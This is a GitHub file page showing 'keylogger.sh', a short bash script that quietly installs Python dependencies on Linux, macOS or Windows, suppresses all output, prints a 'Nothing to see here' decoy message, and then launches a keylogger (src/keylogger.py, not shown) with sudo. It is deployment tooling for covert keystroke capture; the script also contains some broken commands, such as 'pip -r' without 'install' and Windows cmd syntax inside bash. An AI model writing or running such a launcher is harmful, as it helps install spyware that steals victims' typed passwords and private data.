-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.sh
executable file
·34 lines (31 loc) · 915 Bytes
/
keylogger.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env bash
mypip=pip
mypython=python
noop=">/dev/null 2>&1"
if [[ "$OSTYPE" == "linux-gnu" ]]; then
{
echo "Linux Specific instructions"
sudo apt install python3-pip -y >/dev/null 2>&1
pip3 install --upgrade pip >/dev/null 2>&1
} &> /dev/null
mypip=pip3
mypython=python3
elif [[ "$OSTYPE" == "darwin" ]]; then
{
echo "Mac Specific instructions"
sudo xcodebuild -license accept >/dev/null 2>&1
# Python 2.7 is installed by default on Macs
sudo python -m ensurepip >/dev/null 2>&1
} &> /dev/null
mypip=pip
mypython=python
else
# Try running Windows stuff
echo "Nothing to see here. Move along . . ."
python-3.6.0.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0
set PATH=C:\Program Files\Python 3.6;%PATH%
mypip=pip3
mypython=python3
fi
$mypip -r requirements.txt
sudo $mypython src/keylogger.py